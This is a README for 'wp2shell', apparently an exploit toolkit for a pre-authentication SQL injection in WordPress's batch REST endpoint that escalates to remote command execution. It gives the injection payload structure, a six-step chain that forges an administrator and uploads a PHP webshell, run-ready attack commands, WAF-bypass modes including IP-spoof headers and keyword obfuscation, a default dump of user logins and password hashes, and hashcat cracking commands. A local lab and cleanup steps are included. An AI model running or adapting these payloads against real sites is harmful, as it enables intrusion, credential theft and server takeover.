CVE-2026-60137 / CVE-2026-63030 Affected: WordPress 6.9.0–6.9.4 and 7.0.0–7.0.1 — Fixed in 6.9.5 / 7.0.2 Auth required: None (unauthenticated) SQLi channels: UNION in-band · Boolean blind · Time-based · Plugin-sink (6.8.x) Impact: Full database read → no-hash-crack admin creation → OS command execution
For authorised security testing and research only.
Do not run against targets you do not have written permission to test.
WP2Shell is a pre-authentication SQL injection vulnerability in WordPress core's /batch/v1 REST API endpoint. An unauthenticated attacker can extract arbitrary data from the database — and escalate all the way to OS command execution — without cracking any password hash.
| Range | Status | Notes |
|---|---|---|
| WordPress 7.0.0 – 7.0.1 | Vulnerable (full chain) | SQLi + RCE chain both reachable |
| WordPress 6.9.0 – 6.9.4 | Vulnerable (full chain) | Same batch confusion bug |
| WordPress 6.8.x | Partial — SQLi only | Batch confusion not present |
| WordPress 6.8.6, 6.9.5, 7.0.2, 7.1+ | Patched |
WordPress's batch REST handler processes nested batch requests. By placing an invalid URL as the first entry (/// or http://:), wp_parse_url() returns WP_Error, desynchronising the dispatcher's validation state. This allows a nested GET /wp/v2/posts/999999?author_exclude=<SQLI> to reach WP_Query with raw, unvalidated parameters. The author__not_in field is directly interpolated into SQL without parameterisation — UNION injection.
POST /wp-json/batch/v1
├── [0] POST /// ← PRIMER — desyncs dispatcher
├── [1] POST /wp/v2/posts
│ └── body.requests:
│ ├── [0] POST /// ← second PRIMER
│ ├── [1] GET /wp/v2/posts/999999
│ │ ?author_exclude=1) AND 1=0 UNION ALL SELECT ...||HEX(expr)||... -- -
│ │ &orderby=none&per_page=500
│ └── [2] GET /wp/v2/posts
└── [2] POST /batch/v1 ← always rest_batch_not_allowed (expected)
Result location: responses[1].body.responses[1].body[0].title.rendered
→ "||3131382E382D4D6172696144422D75627532343034||" → hex-decode → "11.8.8-MariaDB"
The SQLi is not just a read primitive. UNION injection can write arbitrary rows directly into wp_posts. WordPress itself processes those rows as real records. The RCE chain abuses this:
Step 1 — Seed the oembed cache
UNION-forge a post containing [embed] shortcodes pointing at loopback URLs.
WordPress processes the embed → wp_oembed_get() creates oembed_cache rows
in wp_posts (one per unique URL).
Step 2 — Read the cache row IDs back
UNION SQLi reads the three oembed_cache post IDs from wp_posts.
Step 3 — Borrow an existing admin's user_id
UNION SQLi reads the ID of any existing WordPress administrator from wp_users
(only the numeric ID — the password hash is never touched).
Step 4 — Forge a customize_changeset post
UNION-insert a customize_changeset post that carries a nav_menu_item payload
with user_id = <existing admin's ID>.
When the WordPress Customizer processes this changeset, it runs AS that user_id.
The Customizer's own privilege escalation code then writes a fresh administrator
to wp_users — with a password we choose — because the sub-request executes with
the borrowed admin's capabilities.
Step 5 — Tail sub-request creates the new admin
POST /wp/v2/users is appended as a tail sub-request inside the same batch.
It executes under the borrowed admin context → new administrator created.
No existing password is read, cracked, or used.
Step 6 — Login + webshell
Tool logs in with the newly created admin credentials.
Uploads a token-gated PHP plugin ZIP via the admin panel.
Executes OS commands: GET /wp-content/plugins/<token>/<token>.php?t=TOKEN&c=<cmd>
References:
- Python 3.8+ (zero external dependencies — pure stdlib)
curl(for WAF testing / manual verification)- Docker + Compose v2 (for the local lab only)
git clone https://github.com/node11/wp2shell
cd wp2shell
# Auto-detect WAF and run full DB dump (recommended starting point)
python3 wp2shell.py https://target.com
# Scan only — print version, WAF, /batch/v1 status, no exploit
python3 wp2shell.py https://target.com --mode scan
# No WAF — fastest UNION extraction
python3 wp2shell.py https://target.com --mode clean
# Target has Redis/Memcached (UNION rows cached) — use boolean blind
python3 wp2shell.py https://target.com --mode blind
# UNION and blind both flat — time-based last resort
python3 wp2shell.py https://target.com --mode timebased --sql "SELECT @@version"
# WordPress 6.8.x — inject via facilitating plugin endpoint
python3 wp2shell.py https://target.com --mode plugin-sink \
--sink-url https://target.com/wp-json/myplugin/v1/posts \
--sink-param author_exclude
# Pre-auth RCE — zero to shell, no hash cracking
python3 wp2shell.py https://target.com --mode shell --cmd "id"The tool detects the WAF automatically and selects the right mode. You can also specify one explicitly.
| Mode | Extraction method | When to use |
|---|---|---|
auto |
UNION in-band | Default — fingerprints target, picks best mode |
clean |
UNION in-band | No WAF, fastest path (1 request per value) |
blind |
Boolean binary-search | Redis/Memcached in front of WP_Query — UNION rows are cached and not returned; blind probes each generate a unique cache key. ~7 requests/char. Auto-falls back to time-based if boolean is flat |
timebased |
SLEEP() latency | Last resort when both UNION and blind are flat — e.g. WAF normalises all 207 response bodies. ~3 s/char. Use --sql for short targeted queries |
plugin-sink |
UNION or blind via plugin | WordPress 6.8.x — batch confusion absent, but CVE-2026-60137 (author__not_in SQLi) exists at WP_Query level. Targets a facilitating plugin/theme endpoint directly. Requires --sink-url and --sink-param |
| Mode | When to use |
|---|---|
scan |
Print target intel (WP version, WAF, /batch/v1 status) — no exploit sent |
origin |
Cloudflare in front — connect directly to origin server IP |
wf-nonce |
Wordfence — bypass URI rule with X-WP-Nonce header |
wf-ip |
Wordfence — try 8 IP-spoof header variants (XFF, X-Real-IP, Client-IP…) |
wf-plugin |
Wordfence — alternate /wpgb/v2/batch route (needs WP Grid Builder plugin) |
w3tc |
W3 Total Cache — tunnels POST via GET + X-HTTP-Method-Override |
generic |
Unknown WAF — 12-variant header/path waterfall |
mangle |
Body-scanning WAF — 6 UNION keyword obfuscation variants |
Start with: python3 wp2shell.py https://target.com (auto mode, UNION)
UNION returns empty / no result?
→ Does the site use Redis or Memcached?
YES → --mode blind (boolean channel bypasses object cache)
→ Is UNION blocked (WAF sees UNION keyword in body)?
YES → --mode mangle (obfuscated UNION variants)
→ Boolean channel also flat?
YES → --mode timebased (SLEEP-based, ~3 s/char, use --sql)
WordPress 6.8.x?
→ --mode plugin-sink --sink-url <endpoint> --sink-param <param>
→ Scan for plugin/theme endpoints that accept author_exclude GET param
Target has Cloudflare?
→ Find origin IP (shodan.io / securitytrails.com / historical DNS)
→ python3 wp2shell.py https://target.com --mode origin --origin-ip 1.2.3.4
Target has Wordfence?
→ python3 wp2shell.py https://target.com --mode wf-nonce --nonce auto
→ If blocked: python3 wp2shell.py https://target.com --mode wf-ip
→ If wpgb plugin present: --mode wf-plugin
Target has W3 Total Cache?
→ python3 wp2shell.py https://target.com --mode w3tc
IP blocked / need browser cookies?
→ Visit the site in a browser, copy the Cookie header from Burp/DevTools
→ python3 wp2shell.py https://target.com --cookie "cf_clearance=...; wfCBLBypass=..."
Generic 403?
→ python3 wp2shell.py https://target.com --mode generic
WAF inspects JSON body?
→ python3 wp2shell.py https://target.com --mode mangle
python3 wp2shell.py <URL> [options]
Options:
--mode <mode> Attack mode (default: auto)
UNION: auto | clean | origin | wf-nonce | wf-ip |
wf-plugin | w3tc | generic | mangle
BLIND: blind | timebased
SINK: plugin-sink
OTHER: scan | shell
--origin-ip <ip> Origin server IP (--mode origin)
--nonce <token|auto> X-WP-Nonce value or 'auto' to extract from page JS
--cookie <string> Full Cookie header (e.g. 'cf_clearance=...; ...')
--sql <expr> Single SQL expression instead of default chain
--no-preflight Skip fingerprint scan (faster, less noisy)
--user <username> Admin username (--mode shell — skip pre-auth creation)
--password <pass> Admin password (--mode shell — skip pre-auth creation)
--cmd <command> OS command to run via webshell (--mode shell)
--interactive Drop into interactive shell REPL (--mode shell)
--sink-url <url> Facilitating plugin endpoint URL (--mode plugin-sink)
--sink-param <name> GET parameter forwarded to WP_Query (--mode plugin-sink)
--true-str <substr> Substring present only when rows match — enables boolean
mode in plugin-sink; omit to use time-based
Exit codes:
0 vulnerable — SQL extracted / RCE confirmed
1 patched — WordPress 6.9.5+ / 7.0.2+
2 blocked — WAF not bypassed / RCE step failed / channel flat
3 error — usage / connectivity
When no --sql is given, the tool runs these five queries in sequence:
SELECT @@version
SELECT user()
SELECT database()
SELECT GROUP_CONCAT(table_name ...) FROM information_schema.tables ...
SELECT GROUP_CONCAT(user_login,0x3a,user_pass ...) FROM wp_users LIMIT 5Spins up a vulnerable WordPress 7.0.1 instance backed by MariaDB. Supports Docker, Podman (with podman-compose), and Podman standalone (no compose).
cd lab
# Start (WP 7.0.1, port 8080)
docker compose up -d
docker compose logs -f wpcli # wait for "LAB READY"
# Run exploit
python3 ../wp2shell.py http://localhost:8080 --mode clean
# Expected:
# [QUERY] SELECT @@version
# [+] RESULT: 11.8.8-MariaDB-ubu2404
# Admin: http://localhost:8080/wp-admin (admin / Admin!2345)
# Tear down:
docker compose down -v# Install podman-compose if not already installed
pip3 install podman-compose
# macOS: start the Podman VM first
podman machine start
cd lab
podman-compose up -d
podman-compose logs -f wpcli # wait for "LAB READY"
python3 ../wp2shell.py http://localhost:8080 --mode clean
# Tear down:
podman-compose down -vPodman <4 note: if
service_healthydependency causes errors, editdocker-compose.ymland change bothcondition: service_healthylines tocondition: service_started.
cd lab
./podman-run.sh up # pulls images, starts db+wp, runs wpcli installer
# prints "LAB READY" when done
python3 ../wp2shell.py http://localhost:8080 --mode clean
./podman-run.sh down # stop and remove all lab containers + volume
./podman-run.sh status # show running containers
./podman-run.sh logs # tail logsOverride version or port:
WP_IMAGE=wordpress:7.0.2-apache PORT=8081 ./podman-run.sh up# Docker
WP_IMAGE=wordpress:7.0.2-apache docker compose up -d
# Podman
WP_IMAGE=wordpress:7.0.2-apache ./lab/podman-run.sh up
# Expected: state=patched, exit code 1
python3 wp2shell.py http://localhost:8080 --mode cleanfor VER in 7.0.0 7.0.1 7.0.2; do
echo "=== WP $VER ==="
WP_IMAGE=wordpress:${VER}-apache PORT=8080 ./lab/podman-run.sh up
python3 wp2shell.py http://localhost:8080 --mode clean --sql "SELECT @@version"
./lab/podman-run.sh down
done# 1. The injection value for author_exclude:
# "1)" closes WordPress's NOT IN( list
# "AND 1=0" suppresses real rows
# "UNION ALL SELECT" injects our fake wp_post row
# "-- -" comments out the rest
author_exclude = "1) AND 1=0 UNION ALL SELECT " + 23_cols + " -- -"
# 2. The 23 columns must satisfy wp_posts column types:
# col 1 = 999999 (fake ID)
# col 6 = CONCAT(||, HEX(CAST(expr AS CHAR)), ||) ← exfil, lands in title
# col 8 = 'publish' (post_status — required for REST to return the row)
# col 21 = 'post' (post_type — same)
# col 3,4,15,16 = date literals
# 3. Key query parameters that make it work:
# per_page=500 → bypasses split_the_query LIMIT guard
# orderby=none → drops ORDER BY that would break UNION syntax
# /posts/999999? → single-item endpoint has NO REST schema for these params
# → they pass straight through to WP_Query unvalidated
# 4. Result is in:
# response["responses"][1]["body"]["responses"][1]["body"][0]["title"]["rendered"]
# → "||31312E382E382D4D6172696144422D75627532343034||"
# → hex decode → "11.8.8-MariaDB-ubu2404"| Response | Meaning |
|---|---|
| HTTP 207, ` | |
HTTP 207/401, rest_cannot_create or rest_forbidden code |
Patched (WP 7.0.2+) |
| HTTP 403/503, "wordfence" in body | Wordfence blocking |
HTTP 403, "Just a moment" / cf-mitigated |
Cloudflare challenge |
HTTP 404, rest_no_route |
REST API disabled |
Lab-validated 2026-07-19 on WP 7.0.1 + MariaDB 11.8.8 (VSI)
--mode shell goes from zero authentication to OS command execution without cracking any hash:
SQLi UNION → forge oembed_cache posts
→ read cache IDs back via UNION
→ UNION-forge customize_changeset + nav_menu_item
→ POST /wp/v2/users tail sub-request → Customizer runs as borrowed admin
→ new administrator created (no hash required)
→ login → upload plugin ZIP with token-gated PHP webshell
→ execute: GET /wp-content/plugins/<token>/<token>.php?t=TOKEN&c=<cmd>
# Full pre-auth RCE — let the tool create the admin
python3 wp2shell.py https://target.com --mode shell
# With a single OS command
python3 wp2shell.py https://target.com --mode shell --cmd "id; hostname; uname -r"
# Supply existing admin creds (skip pre-auth creation step)
python3 wp2shell.py https://target.com --mode shell --user admin --password s3cr3t
# Drop into interactive shell REPL
python3 wp2shell.py https://target.com --mode shell --interactive[mode: shell] Full RCE chain — SQLi → admin → webshell
No credentials supplied — attempting pre-auth admin creation...
(This writes rows to wp_posts and wp_users — authorised testing only)
[+] Admin created: wp2_aa7e6b06db9e / Wp2!4e6JBDOrnAHzU4Qhd4ik
Logging in as 'wp2_aa7e6b06db9e'...
[+] Authenticated
Uploading plugin webshell...
[+] Webshell: http://target.com/wp-content/plugins/wp2shell_3cae7b25/wp2shell_3cae7b25.php
Running: id
[+] RCE OUTPUT:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
CLEANUP (do this before ending the test):
1. Delete webshell plugin in /wp-admin/plugins.php
2. Delete test admin: wp2_aa7e6b06db9e from /wp-admin/users.php
The chain writes two artefacts to the target. Delete both before ending the test:
| Artefact | Where | How to delete |
|---|---|---|
| Plugin webshell | /wp-content/plugins/wp2shell_<token>/ |
wp-admin → Plugins → Deactivate + Delete |
| Test admin | wp_users (login: wp2_<hex>) |
wp-admin → Users → Delete |
Or via WP-CLI if you have server access:
wp plugin delete wp2shell_<token>
wp user delete wp2_<hex> --reassign=1Once wp_users is dumped (via --mode clean / --mode auto):
# WP 7.x uses bcrypt ($wp$2y$10$ prefix) — hashcat mode 3200 (NOT 400)
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
# WP 6.x and older use phpass ($P$ prefix) — hashcat mode 400
hashcat -m 400 hashes.txt /usr/share/wordlists/rockyou.txt
# After cracking → login to /wp-admin
# Or skip hash cracking entirely: use --mode shell (pre-auth admin creation)wp2shell/
├── wp2shell.py ← exploit toolkit (single file, zero deps, Python 3.8+)
├── lab/
│ ├── docker-compose.yml ← WP 7.0.1 lab (Docker or podman-compose)
│ └── podman-run.sh ← standalone Podman helper (no compose required)
├── README.md
├── LICENSE
└── .gitignore
MIT — see LICENSE.
Use only against systems you are authorised to test.